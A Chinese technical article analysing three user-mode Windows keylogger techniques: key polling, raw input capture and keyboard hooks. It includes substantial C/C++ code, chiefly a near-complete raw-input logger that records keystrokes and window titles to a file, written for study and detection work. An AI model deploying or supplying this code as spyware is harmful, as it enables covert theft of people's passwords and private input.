1.概述
键盘记录是恶意软件中常见的组成部分,被用于窃取用户键盘输入信息,是直接泄露用户隐私的重要安全问题。键盘记录器的种类繁多,有运行于应用层的,有运行于内核层的,还有硬件版的键盘记录器。近期爆出惠普笔记本存在隐藏键盘记录器,该键盘记录器隐藏于声卡驱动包中。
事实上,软件记录器由来已久,各大安全厂商也在防御软件记录器方面做出大量努力,但键盘记录器的传播与发展从未停止。
本文分析了三种常见的键盘记录器:GetAsyncKeyState轮询键盘消息、RawInputData直接从输入设备获取数据和SetWindowsHookEx利用钩子函数。这三种键盘记录器传播广泛,且都是运行于应用层(ring3)。
2.GetAsyncKeyState——轮询键盘消息
该方法其实是通过不断检测键盘上某一个键是否被按下来获取键盘记录。
该方法中最重要的API是GetAsyncKeyState( ):
publicstatic extern short GetAsyncKeyState(int vKey);
//vKey是虚拟按键码可以用这三种表示:'1',VK_LSHIFT,0x41,(但是用0x41只能捕捉到A不能捕捉到a)
GetAsyncKeyState判断在此函数被调用时,某个键是处于UP状态还是处于DOWN状态,及前次调用GetAsyncKeyState函数后,是否按过此键.如果返回值的最高位被置位,那么该键处于DOWN状态;如果最低位被置位,那么在前一次调用此函数后,此键被按过,否则表示该键没被按过.
如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0。
调用GetAsyncKeyState循环判断每一个键是否被按下,如果被按下返回值是0x8001(十进制:-32767),即位0和位15都被置1。
调用GetKeyState(VK_CAPITAL)判断VK_CAPITAL键状态,区分大小写。
//*********************关键代码**************************
while(1){
Sleep(8);
if (GetAsyncKeyState(VK_SPACE) == -32767){
cout<< " ";
}
if (GetAsyncKeyState('A') == -32767){
if (GetKeyState(VK_CAPITAL)==1)
{cout<< "A";}
else {cout<< "a";}
}
if (GetAsyncKeyState('B') == -32767){
if (GetKeyState(VK_CAPITAL)==1)
{cout<< "B";}
else {cout<< "b";}
}
...
if (GetAsyncKeyState(VK_RETURN) == -32767){
cout<< endl;
}
if (GetAsyncKeyState('1') == -32767){
log << "1";
}
...
if (GetAsyncKeyState(VK_LSHIFT) == -32767){
log << " SHIFT-";
}
if (GetAsyncKeyState(VK_MENU) == -32767){
log << " ALT-";
}
}
//*************************************************************
3.RawInputData——从输入设备获取数据
利用原始输入数据(RawInputData)获取键盘记录,首先要新建一个窗口类,并将其注册为原始输入设备(RegisterRawInputDevices),之后进入消息循环,在wndproc消息处理函数中利用GetRawInputData获取RawInputData结构体,解析这个结构体获得键盘按键信息并保存。
在逆向分析中,利用RegisterClass()可以手动获取WndProc()函数地址:
RegisterClass(&wndClass);中获得wndClass结构体,内存中查找wndClass.lpfnWndProc的值。
GetForegroundWindow ----此函数用于获取当系统当前的前台窗口句柄,即当前处于激活状态下的窗口,此函数没有参数。
FindWindow---此函数用于获取具有参数指定的窗口类名和窗口标题的窗口的窗口句柄。通常我们只用传入第二个参数,也就是窗口的标题名就可以了。
//*********************关键代码**************************
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)
{
//设置窗口类属性
MSG msg;
HWND hWnd;
WNDCLASS wndClass;
wndClass.style = CS_HREDRAW | CS_VREDRAW;
wndClass.lpfnWndProc = WndProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInstance;
wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = TEXT("Twnd");
//注册创建窗口类
RegisterClass(&wndClass);
hWnd = CreateWindow(
TEXT("Twnd"), // window class name
TEXT("键盘记录测试"), // window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL); // creation parameters
//注册原始输入设备类
if(!RegisitKeyBord(hWnd))
return 0;
ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);
//进入消息循环
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
// WndProc中利用GetRawInputData获取RawInputData结构体,解析这个结构体获得键盘按键信息
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
char vk[256] = {'\0'};
char ti[256] = {'\0'};
UINT dwSize;
LPBYTE lpb = NULL;
RAWINPUT* raw = NULL;
DWORD dwWritten = 0;
PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");
switch(message)
{
case WM_INPUT:
if(NULL == GetRawInputData)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
lpb = new BYTE[dwSize];
if(lpb == NULL)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
break;
raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
if ( prev == NULL)
{
prev = GetForegroundWindow();
//GetForegroundWindow在用户模式下检测软件切换
GetWindowText(prev,ti,256);
wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
else if ( prev == GetForegroundWindow() )
{
wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
}
else
{
prev = GetForegroundWindow();
GetWindowText(prev,ti,256);
wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))
{
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);
}
}
delete[] lpb;
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
TextOut(hdc, 10, 10, szInfo, strlen(szInfo));
TextOut(hdc, 10, 30, szTips, strlen(szTips));
EndPaint(hWnd, &ps);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
CloseHandle(hFile);
return 0;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)
{
HMODULE hDll = LoadLibraryA(dllname);
if(NULL == hDll)
return NULL;
PVOID pProc = GetProcAddress(hDll, procname);
FreeLibrary(hDll);
return pProc;
}
BOOL RegisitKeyBord(HWND hwnd)
{
if(NULL == hwnd)
return false;
PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
if(NULL == RegisterRawInputDevices)
return false;
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}
//*************************************************************
4.SetWindowsHook——利用钩子函数
利用SetWindowsHookEx可以轻松实现消息钩子。
钩子过程是由操作系统调用的回调函数,安装消息“钩子”时,“钩子”过程需要存在于某个DLL内部,且该DLL的示例句柄即是SetWindowsHookEx中的参数hMod。这就是为什么要先加载dll,然后再钩取。
具体过程:exe程序调用LoadLibrary(dll),加载dll程序,dllmain()中switch(dwReason)进行DLL被加载或卸载时的操作。使用回调函数LRESULT CALLBACk Keyboardproc(),这是消息处理函数,先利用dll中的导出函数挂钩,SetWindowsHookEx进行挂钩,利用SetWindowsHookEx挂钩后,消息会首先传给dll,dll遇到消息就会调用消息处理的回调函数Keyboardproc,在这里会调用CallNextHookEx将消息传递给应用程序(下一个“钩子”),UnhookWindowsHookEx脱钩。这里只是实现了键盘钩子的挂钩和脱钩,并没有实现键盘记录功能,键盘记录功能是在回调函数函数Keyboardproc中实现的,类似RawInput中消息处理函数。
使用SetWindowsHookEx的好处在于,你可以同时钩住所有桌面上的进程并确保监听到所有的键盘信息,而不是通过GetAsyncKeystate循环检测每一个键的状态这样会遗漏一些记录。
//*********************关键代码**************************
//HookMain.cpp
void main()
{
//加载KeyHook.dll,会调用DLLMain,
hDll = LoadLibraryA(DEF_DLL_NAME);
...
FreeLibrary(hDll);
}
//KeyHook.cpp
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
//挂钩
SetWindowsHook(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
break;
case DLL_PROCESS_DETACH:
UnhookWindowsHookEx(g_hHook);//脱钩
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char szPath[MAX_PATH] = {0,};
char *p = NULL;
if( nCode >= 0 )
{
// bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) )//释放键盘按键时
{
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
//比较进程名称,如果是DEF_PROCESS_NAME)则消息不会传给应用程序或下一个钩子
if( !_stricmp(p + 1, DEF_PROCESS_NAME) )
return 1;
}
}
//CallNextHookEx消息传给应用程序或下一个钩子
returnCallNextHookEx(g_hHook, nCode, wParam, lParam);
}
5.总结
本文介绍的三种键盘记录器都比较简单,网上也有许多分析文章。运行于Ring3的键盘记录器很难躲过安全软件的检测,运行于Ring0的键盘记录器则更加隐蔽精巧,以后再作分析。最后,笔者学历不高,能力有限,欢迎各位指点补充。
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